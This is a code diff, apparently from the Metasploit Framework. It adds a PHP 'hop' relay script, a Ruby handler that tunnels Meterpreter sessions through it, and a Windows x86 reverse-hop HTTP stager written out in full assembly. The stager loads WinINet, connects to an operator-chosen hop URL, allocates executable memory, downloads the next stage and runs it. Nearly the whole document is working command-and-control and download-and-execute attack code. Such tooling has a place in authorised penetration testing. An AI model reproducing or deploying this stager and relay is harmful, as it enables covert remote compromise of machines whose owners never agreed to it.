Merge #2809 into master
commit
5961861c97
|
@ -0,0 +1,68 @@
|
|||
<?php
|
||||
$magic = 'TzGq';
|
||||
$tempdir = sys_get_temp_dir() . "/hop" . $magic;
|
||||
if(!is_dir($tempdir)){
|
||||
mkdir($tempdir); //make sure it's there
|
||||
}
|
||||
|
||||
//get url
|
||||
$url = $_SERVER["QUERY_STRING"];
|
||||
//like /path/hop.php?/uRIcksm_lOnGidENTifIEr
|
||||
|
||||
//Looks for a file with a name or contents prefix, if found, send it and deletes it
|
||||
function findSendDelete($tempdir, $prefix, $one=true){
|
||||
if($dh = opendir($tempdir)){
|
||||
while(($file = readdir($dh)) !== false){
|
||||
if(strpos($file, $prefix) !== 0){
|
||||
continue;
|
||||
}
|
||||
readfile($tempdir."/".$file);
|
||||
unlink($tempdir."/".$file);
|
||||
if($one){
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//handle control
|
||||
if($url === "/control"){
|
||||
if($_SERVER['REQUEST_METHOD'] === 'POST'){
|
||||
//handle data for payload - save in a "down" file or the "init" file
|
||||
$postdata = file_get_contents("php://input");
|
||||
if(array_key_exists('HTTP_X_INIT', $_SERVER)){
|
||||
$f = fopen($tempdir."/init", "w"); //only one init file
|
||||
}else{
|
||||
$prefix = "down_" . bin2hex($_SERVER['HTTP_X_URLFRAG']);
|
||||
$f = fopen(tempnam($tempdir,$prefix), "w");
|
||||
}
|
||||
fwrite($f, $postdata);
|
||||
fclose($f);
|
||||
}else{
|
||||
findSendDelete($tempdir, "up_", false);
|
||||
}
|
||||
}else if($_SERVER['REQUEST_METHOD'] === 'POST'){
|
||||
//get data
|
||||
$postdata = file_get_contents("php://input");
|
||||
//See if we should send anything down
|
||||
if($postdata === 'RECV'){
|
||||
findSendDelete($tempdir, "down_" . bin2hex($url));
|
||||
$fname = $tempdir . "/up_recv_" . bin2hex($url); //Only keep one RECV poll
|
||||
}else{
|
||||
$fname = tempnam($tempdir, "up_"); //actual data gets its own filename
|
||||
}
|
||||
//find free and write new file
|
||||
$f = fopen($fname, "w");
|
||||
fwrite($f, $magic);
|
||||
//Little-endian pack length and data
|
||||
$urlen = strlen($url);
|
||||
fwrite($f, pack('V', $urlen));
|
||||
fwrite($f, $url);
|
||||
$postdatalen = strlen($postdata);
|
||||
fwrite($f, pack('V', $postdatalen));
|
||||
fwrite($f, $postdata);
|
||||
fclose($f);
|
||||
//Initial query will be a GET and have a 12345 in it
|
||||
}else if(strpos($url, "12345") !== FALSE){
|
||||
readfile($tempdir."/init");
|
||||
}
|
|
@ -0,0 +1,305 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/io/stream_abstraction'
|
||||
require 'rex/sync/ref'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'uri'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This handler implements the HTTP hop tunneling interface.
|
||||
# It acts like an HTTP server to the meterpreter packet dispatcher but
|
||||
# as an HTTP client to actually send and receive the data from the hop.
|
||||
#
|
||||
###
|
||||
module ReverseHopHttp
|
||||
|
||||
include Msf::Handler::ReverseHttp
|
||||
|
||||
#
|
||||
# Magic bytes to know we are talking to a valid hop
|
||||
#
|
||||
MAGIC = 'TzGq'
|
||||
|
||||
# hop_handlers is a class-level instance variable
|
||||
class << self; attr_accessor :hop_handlers end
|
||||
attr_accessor :monitor_thread # :nodoc:
|
||||
attr_accessor :handlers # :nodoc:
|
||||
attr_accessor :closed_handlers # :nodoc:
|
||||
attr_accessor :mclient # :nodoc:
|
||||
attr_accessor :current_url # :nodoc:
|
||||
attr_accessor :control # :nodoc:
|
||||
attr_accessor :refs # :nodoc:
|
||||
attr_accessor :lock # :nodoc:
|
||||
|
||||
#
|
||||
# Keeps track of what hops have active handlers
|
||||
#
|
||||
@hop_handlers = {}
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_hop_http"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'tunnel'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"tunnel"
|
||||
end
|
||||
|
||||
#
|
||||
# Sets up a handler. Doesn't do much since it's all in start_handler.
|
||||
#
|
||||
def setup_handler
|
||||
self.handlers = {}
|
||||
self.closed_handlers = {}
|
||||
self.lock = Mutex.new
|
||||
end
|
||||
|
||||
#
|
||||
# Starts the handler along with a monitoring thread to handle data transfer
|
||||
#
|
||||
def start_handler
|
||||
# Our HTTP client and URL for talking to the hop
|
||||
uri = URI(full_uri)
|
||||
self.control = "#{uri.request_uri}control"
|
||||
self.mclient = Rex::Proto::Http::Client.new(
|
||||
uri.host,
|
||||
uri.port,
|
||||
{
|
||||
'Msf' => framework
|
||||
}
|
||||
)
|
||||
@running = true # So we know we can stop it
|
||||
# If someone is already monitoring this hop, bump the refcount instead of starting a new thread
|
||||
if ReverseHopHttp.hop_handlers.has_key?(full_uri)
|
||||
ReverseHopHttp.hop_handlers[full_uri].refs += 1
|
||||
return
|
||||
end
|
||||
|
||||
# Sometimes you just have to do everything yourself.
|
||||
# Declare ownership of this hop and spawn a thread to monitor it.
|
||||
self.refs = 1
|
||||
ReverseHopHttp.hop_handlers[full_uri] = self
|
||||
self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri,
|
||||
self) do |uri, hop_http|
|
||||
hop_http.send_new_stage # send stage to hop
|
||||
delay = 1 # poll delay
|
||||
# Continue to loop as long as at least one handler or one session is depending on us
|
||||
until hop_http.refs < 1 && hop_http.handlers.empty?
|
||||
sleep delay
|
||||
delay = delay + 1 if delay < 10 # slow down if we're not getting anything
|
||||
crequest = hop_http.mclient.request_raw({'method' => 'GET', 'uri' => control})
|
||||
res = hop_http.mclient.send_recv(crequest) # send poll to the hop
|
||||
next if res.nil?
|
||||
if res.error
|
||||
print_error(res.error)
|
||||
next
|
||||
end
|
||||
|
||||
# validate responses, handle each message down
|
||||
received = res.body
|
||||
until received.length < 12 || received.slice!(0, MAGIC.length) != MAGIC
|
||||
|
||||
# good response
|
||||
delay = 0 # we're talking, speed up
|
||||
urlen = received.slice!(0,4).unpack('V')[0]
|
||||
urlpath = received.slice!(0,urlen)
|
||||
datalen = received.slice!(0,4).unpack('V')[0]
|
||||
|
||||
# do not want handlers to change while we dispatch this
|
||||
hop_http.lock.lock
|
||||
#received now starts with the binary contents of the message
|
||||
if hop_http.handlers.include? urlpath
|
||||
pack = Rex::Proto::Http::Packet.new
|
||||
pack.body = received.slice!(0,datalen)
|
||||
hop_http.current_url = urlpath
|
||||
hop_http.handlers[urlpath].call(hop_http, pack)
|
||||
hop_http.lock.unlock
|
||||
elsif !closed_handlers.include? urlpath
|
||||
hop_http.lock.unlock
|
||||
#New session!
|
||||
conn_id = urlpath.gsub("/","")
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
# We are the dispatcher since we need to handle the comms to the hop
|
||||
create_session(hop_http, {
|
||||
:passive_dispatcher => self,
|
||||
:conn_id => conn_id,
|
||||
:url => uri.to_s + conn_id + "/\x00",
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => false,
|
||||
})
|
||||
# send new stage to hop so next inbound session will get a unique ID.
|
||||
hop_http.send_new_stage
|
||||
else
|
||||
hop_http.lock.unlock
|
||||
end
|
||||
end
|
||||
end
|
||||
hop_http.monitor_thread = nil #make sure we're out
|
||||
ReverseHopHttp.hop_handlers.delete(full_uri)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Stops the handler and monitoring thread
|
||||
#
|
||||
def stop_handler
|
||||
# stop_handler is called like 3 times, don't decrement refcount unless we're still running
|
||||
if @running
|
||||
ReverseHopHttp.hop_handlers[full_uri].refs -= 1
|
||||
@running = false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Adds a resource. (handler for a session)
|
||||
#
|
||||
def add_resource(res, opts={})
|
||||
self.handlers[res] = opts['Proc']
|
||||
start_handler if monitor_thread.nil?
|
||||
end
|
||||
|
||||
#
|
||||
# Removes a resource.
|
||||
#
|
||||
def remove_resource(res)
|
||||
lock.lock
|
||||
handlers.delete(res)
|
||||
closed_handlers[res] = true
|
||||
lock.unlock
|
||||
end
|
||||
|
||||
#
|
||||
# Implemented for compatibility reasons, does nothing
|
||||
#
|
||||
def close_client(cli)
|
||||
end
|
||||
|
||||
#
|
||||
# Sends data to hop
|
||||
#
|
||||
def send_response(resp)
|
||||
if not resp.body.empty?
|
||||
crequest = mclient.request_raw(
|
||||
'method' => 'POST',
|
||||
'uri' => control,
|
||||
'data' => resp.body,
|
||||
'headers' => {'X-urlfrag' => current_url}
|
||||
)
|
||||
# if receiving POST data, hop does not send back data, so we can stop here
|
||||
mclient.send_recv(crequest)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Return the URI of the hop point.
|
||||
#
|
||||
def full_uri
|
||||
uri = datastore['HOPURL']
|
||||
return uri if uri.end_with?('/')
|
||||
return "#{uri}/" if uri.end_with?('?')
|
||||
"#{uri}?/"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a string representation of the local hop
|
||||
#
|
||||
def localinfo
|
||||
"Hop client"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the URL of the remote hop end
|
||||
#
|
||||
def peerinfo
|
||||
uri = URI(full_uri)
|
||||
"#{uri.host}:#{uri.port}"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the Hop HTTP tunneling handler.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('HOPURL', [ true, "The full URL of the hop script, e.g. http://a.b/hop.php" ])
|
||||
], Msf::Handler::ReverseHopHttp)
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Generates and sends a stage up to the hop point to be ready for the next client
|
||||
#
|
||||
def send_new_stage
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = full_uri + conn_id + "/\x00"
|
||||
|
||||
print_status("Preparing stage for next session #{conn_id}")
|
||||
blob = stage_payload
|
||||
|
||||
# Replace the user agent string with our option
|
||||
i = blob.index("METERPRETER_UA\x00")
|
||||
if i
|
||||
str = datastore['MeterpreterUserAgent'][0,255] + "\x00"
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
# Replace the transport string first (TRANSPORT_SOCKET_SSL)
|
||||
i = blob.index("METERPRETER_TRANSPORT_SSL")
|
||||
if i
|
||||
str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00"
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
i = blob.index("https://" + ("X" * 256))
|
||||
if i
|
||||
url = full_uri + conn_id + "/\x00"
|
||||
blob[i, url.length] = url
|
||||
end
|
||||
print_status("Patched URL at offset #{i}...")
|
||||
|
||||
i = blob.index([0xb64be661].pack("V"))
|
||||
if i
|
||||
str = [ datastore['SessionExpirationTimeout'] ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
i = blob.index([0xaf79257f].pack("V"))
|
||||
if i
|
||||
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
blob = encode_stage(blob)
|
||||
|
||||
#send up
|
||||
crequest = mclient.request_raw(
|
||||
'method' => 'POST',
|
||||
'uri' => control,
|
||||
'data' => blob,
|
||||
'headers' => {'X-init' => 'true'}
|
||||
)
|
||||
res = mclient.send_recv(crequest)
|
||||
print_status("Uploaded stage to hop #{full_uri}")
|
||||
print_error(res.error) if !res.nil? && res.error
|
||||
|
||||
#return conn info
|
||||
[conn_id, url]
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,288 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'uri'
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_hop_http'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse Hop HTTP Stager',
|
||||
'Description' => "Tunnel communication over an HTTP hop point (note you must first upload "+
|
||||
"the hop.php found at #{File.expand_path("../../../../data/php/hop.php", __FILE__)} "+
|
||||
"to the HTTP server you wish to use as a hop)",
|
||||
'Author' => ['scriptjunkie <scriptjunkie@scriptjunkie.us>', 'hdm'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHopHttp,
|
||||
'Convention' => 'sockedi http',
|
||||
'DefaultOptions' => { 'WfsDelay' => 30 },
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
# None, they get embedded in the shellcode
|
||||
}
|
||||
}
|
||||
))
|
||||
|
||||
deregister_options('LHOST', 'LPORT')
|
||||
|
||||
register_options([
|
||||
OptString.new('HOPURL',
|
||||
[ true, "The full URL of the hop script", "http://example.com/hop.php" ]
|
||||
)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We handle this via HTTP
|
||||
#
|
||||
def stage_over_connection?
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
uri = URI(datastore['HOPURL'])
|
||||
#create actual payload
|
||||
payload_data = <<EOS
|
||||
cld ; clear direction flag
|
||||
call start ; start main routine
|
||||
; Stephen Fewer's block_api
|
||||
; block_api code (Stephen Fewer)
|
||||
api_call:
|
||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||
mov ebp, esp ; Create a new stack frame
|
||||
xor edx, edx ; Zero EDX
|
||||
mov edx, fs:[edx+48] ; Get a pointer to the PEB
|
||||
mov edx, [edx+12] ; Get PEB->Ldr
|
||||
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod:
|
||||
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
sub al, 0x20 ; If so normalise to uppercase
|
||||
not_lowercase: ;
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
loop loop_modname ; Loop until we have read enough
|
||||
; We now have the module hash computed
|
||||
push edx ; Save the current position in the module list for later
|
||||
push edi ; Save the current module hash for later
|
||||
; Proceed to iterate the export address table,
|
||||
mov edx, [edx+16] ; Get this modules base address
|
||||
mov eax, [edx+60] ; Get PE header
|
||||
add eax, edx ; Add the modules base address
|
||||
mov eax, [eax+120] ; Get export tables RVA
|
||||
test eax, eax ; Test if no export address table is present
|
||||
jz get_next_mod1 ; If no EAT present, process the next module
|
||||
add eax, edx ; Add the modules base address
|
||||
push eax ; Save the current modules EAT
|
||||
mov ecx, [eax+24] ; Get the number of function names
|
||||
mov ebx, [eax+32] ; Get the rva of the function names
|
||||
add ebx, edx ; Add the modules base address
|
||||
; Computing the module hash + function hash
|
||||
get_next_func: ;
|
||||
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards) process next mod
|
||||
dec ecx ; Decrement the function name counter
|
||||
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||
add esi, edx ; Add the modules base address
|
||||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||
; If found, fix up stack, call the function and then value else compute the next one...
|
||||
pop eax ; Restore the current modules EAT
|
||||
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||
add ebx, edx ; Add the modules base address
|
||||
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||
; We now fix up the stack and perform the call to the desired function...
|
||||
finish:
|
||||
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address
|
||||
pop ebx ; Clear off the current modules hash
|
||||
pop ebx ; Clear off the current position in the module list
|
||||
popad ; Restore all of the callers registers, bar EAX, ECX and EDX
|
||||
pop ecx ; Pop off the origional return address our caller will have pushed
|
||||
pop edx ; Pop off the hash value our caller will have pushed
|
||||
push ecx ; Push back the correct return value
|
||||
jmp eax ; Jump into the required function
|
||||
; We now automagically return to the correct caller...
|
||||
get_next_mod: ;
|
||||
pop eax ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
pop edi ; Pop off the current (now the previous) modules hash
|
||||
pop edx ; Restore our position in the module list
|
||||
mov edx, [edx] ; Get the next module
|
||||
jmp.i8 next_mod ; Process this module
|
||||
|
||||
; actual routine
|
||||
start:
|
||||
pop ebp ; get ptr to block_api routine
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
load_wininet:
|
||||
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
||||
push 0x696e6977 ; ...
|
||||
push esp ; Push a pointer to the "wininet" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wininet" )
|
||||
|
||||
internetopen:
|
||||
xor edi,edi
|
||||
push edi ; DWORD dwFlags
|
||||
push edi ; LPCTSTR lpszProxyBypass
|
||||
push edi ; LPCTSTR lpszProxyName
|
||||
push edi ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push 0 ; NULL pointer
|
||||
push esp ; LPCTSTR lpszAgent ("\x00")
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
|
||||
jmp.i8 dbl_get_server_host
|
||||
|
||||
internetconnect:
|
||||
pop ebx ; Save the hostname pointer
|
||||
xor ecx, ecx
|
||||
push ecx ; DWORD_PTR dwContext (NULL)
|
||||
push ecx ; dwFlags
|
||||
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||
push ecx ; password
|
||||
push ecx ; username
|
||||
push #{uri.port} ; PORT
|
||||
push ebx ; HOSTNAME
|
||||
push eax ; HINTERNET hInternet
|
||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||
call ebp
|
||||
|
||||
jmp get_server_uri
|
||||
|
||||
httpopenrequest:
|
||||
pop ecx
|
||||
xor edx, edx ; NULL
|
||||
push edx ; dwContext (NULL)
|
||||
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags
|
||||
;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||
;0x00000200 | ; INTERNET_FLAG_NO_UI
|
||||
;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION
|
||||
push edx ; accept types
|
||||
push edx ; referrer
|
||||
push edx ; version
|
||||
push ecx ; url
|
||||
push edx ; method
|
||||
push eax ; hConnection
|
||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
call ebp
|
||||
mov esi, eax ; hHttpRequest
|
||||
|
||||
set_retry:
|
||||
push 0x10
|
||||
pop ebx
|
||||
|
||||
httpsendrequest:
|
||||
xor edi, edi
|
||||
push edi ; optional length
|
||||
push edi ; optional
|
||||
push edi ; dwHeadersLength
|
||||
push edi ; headers
|
||||
push esi ; hHttpRequest
|
||||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz allocate_memory
|
||||
|
||||
try_it_again:
|
||||
dec ebx
|
||||
jz failure
|
||||
jmp.i8 httpsendrequest
|
||||
|
||||
dbl_get_server_host:
|
||||
jmp get_server_host
|
||||
|
||||
get_server_uri:
|
||||
call httpopenrequest
|
||||
|
||||
server_uri:
|
||||
db "#{Rex::Text.hexify(uri.request_uri, 99999).strip}?/12345", 0x00
|
||||
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
|
||||
allocate_memory:
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (8Mb ought to do us)
|
||||
push edi ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; &bytesRead
|
||||
push 8192 ; read length
|
||||
push ebx ; buffer
|
||||
push esi ; hRequest
|
||||
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
|
||||
call ebp
|
||||
|
||||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
get_server_host:
|
||||
call internetconnect
|
||||
|
||||
server_host:
|
||||
db "#{Rex::Text.hexify(uri.host, 99999).strip}", 0x00
|
||||
|
||||
EOS
|
||||
self.module_info['Stager']['Assembly'] = payload_data.to_s
|
||||
super
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue